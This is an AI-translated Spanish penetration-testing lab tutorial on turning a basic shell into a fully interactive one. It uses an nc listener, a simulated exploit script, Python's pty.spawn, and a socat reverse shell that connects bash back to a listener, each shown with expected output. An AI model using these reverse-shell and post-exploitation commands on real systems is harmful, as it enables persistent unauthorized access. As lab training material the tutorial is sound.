Actualizar un Shell Simple a un Shell Interactivo en Nmap

Beginner

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En el campo de las pruebas de penetración, obtener acceso a un sistema objetivo a menudo implica obtener una shell, que puede ser una shell simple o una shell interactiva. Una shell simple tiene funcionalidades limitadas y carece de capacidades interactivas, mientras que una shell interactiva proporciona un entorno más robusto y amigable para el usuario. Este laboratorio (lab) tiene como objetivo explorar las diferencias entre las shells simples y las interactivas, y guiarte a través del proceso de actualización de una shell simple a una shell interactiva.


Skills Graph

Comprensión de la Shell Simple

En este paso, exploraremos el concepto de una shell simple y sus limitaciones. Una shell simple se obtiene típicamente a través de vulnerabilidades de ejecución remota de comandos u otras técnicas de explotación. Si bien te permite ejecutar comandos en el sistema objetivo, carece de varias características esenciales que pueden dificultar la fase posterior a la explotación.

  1. Para comenzar, abre una ventana de terminal y navega hasta el directorio /home/labex/project:

    cd /home/labex/project
  2. Para simular el proceso de obtener una shell simple en el sistema objetivo, debes configurar un listener en el puerto 5911 utilizando el comando nc:

    nc -lnvp 5911

    Salida esperada:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911...

    Esta ventana de terminal actuará como el listener para la conexión de la shell simple.

  3. Abre otra ventana de terminal y navega hasta el directorio /home/labex/project y deberías ver un archivo exploit.sh en tu directorio principal. Este archivo simula una explotación de ejecución remota de comandos que se puede utilizar para obtener una shell simple en el sistema objetivo.

    cd /home/labex/project

    Ejecuta el script exploit.sh para conectarte al listener en el puerto 5911 y obtener una shell simple en el sistema objetivo:

    ./exploit.sh

    Salida esperada:

    labex:project/ $./exploit.sh
    Simulating attack...
    Shell has been rebound, please check the terminal which you listen to the port 5911

    Este script se conectará al listener en el puerto 5911 y te proporcionará una shell simple en el sistema objetivo.

  4. De vuelta a la ventana de terminal donde configuraste el listener, deberías ver una conexión establecida con el sistema objetivo.

    Ejemplo de salida:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911...
    connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696
    |

    Puedes verificar que has obtenido una shell simple ejecutando comandos como whoami y lsb_release -a. Sin embargo, notarás que la shell simple carece de ciertas características, como indicadores de comando adecuados, autocompletado con la tecla Tab y la capacidad de usar comandos interactivos como su o ssh.

Actualización a una Shell Interactiva con Python

Una forma de actualizar una shell simple a una shell interactiva es utilizando el módulo pty de Python, que te permite crear un pseudo-terminal (pts).

  1. Primero, verifica si Python está instalado en el sistema objetivo ejecutando los siguientes comandos:

    which python
  2. Si Python está disponible, puedes crear un pseudo-terminal utilizando el siguiente comando:

    python -c 'import pty; pty.spawn("/bin/bash");'

    Este comando creará una nueva shell interactiva con soporte de pseudo-terminal, lo que te permitirá ejecutar comandos como su y ssh sin problemas.

    Ejemplo de salida:

    labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");'
    labex@660d6d4be229593d40db954d:~/project$
  3. Puedes verificar que la nueva shell es un pseudo-terminal ejecutando el comando tty y redirigiendo la salida a un archivo:

    tty > /home/labex/project/shell.txt

    Verifica el contenido del archivo shell.txt para ver si la shell es un pseudo-terminal (pts).

    cat /home/labex/project/shell.txt

    Ejemplo de salida:

    labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt
    /dev/pts/5

Sin embargo, aunque el pseudo-terminal de Python soluciona algunas limitaciones de la shell simple, todavía carece de ciertas características como autocompletado con la tecla Tab, navegación por el historial y soporte adecuado para editores de texto como vim o vi.

Nota: Puedes cerrar la sesión de la shell del pseudo-terminal escribiendo exit o presionando Ctrl+D.

Actualización a una Shell Interactiva Completa con Socat

Para una solución más completa, podemos utilizar la utilidad socat para obtener una shell interactiva completa con soporte para todas las características, incluyendo autocompletado con la tecla Tab, navegación por el historial y compatibilidad con editores de texto.

Primero, verifica si socat está instalado en el sistema objetivo ejecutando el siguiente comando:

which socat

Si socat está disponible, sigue estos pasos:

  1. Abre una nueva ventana de terminal y inicia un listener en el puerto 5912 utilizando el siguiente comando de socat:

    socat file:$(tty),raw,echo=0 tcp-listen:5912

    Espera a que se establezca la conexión.

  2. En la shell simple, ejecuta el siguiente comando para conectarte al listener y actualizar la shell a una shell interactiva completa:

    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
  3. De vuelta a la ventana de terminal donde configuraste el listener, deberías ver una conexión establecida con el sistema objetivo. Ahora deberías tener una shell completamente interactiva con todas las características que esperarías de una sesión de terminal normal.

    Ejemplo de salida:

    labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
    labex@660d5d5ee229593d40db9301:~$

Prueba la nueva shell interactiva utilizando comandos como cat, ssh, vim y navegando por el historial de comandos con las flechas hacia arriba y hacia abajo.

Resumen

En este laboratorio (lab), exploramos el concepto de shells simples e interactivas en el contexto de las pruebas de penetración. Aprendimos sobre las limitaciones de las shells simples y la importancia de actualizar a una shell interactiva para actividades posteriores a la explotación de manera eficiente. Cubrimos dos métodos para actualizar una shell simple: utilizar el módulo pty de Python para crear un pseudo-terminal y utilizar la utilidad socat para obtener una shell interactiva completa con todas las características necesarias. Al practicar estas técnicas, has adquirido habilidades valiosas que te ayudarán en futuros proyectos de pruebas de penetración, lo que te permitirá superar los desafíos planteados por las shells simples y optimizar tus esfuerzos posteriores a la explotación.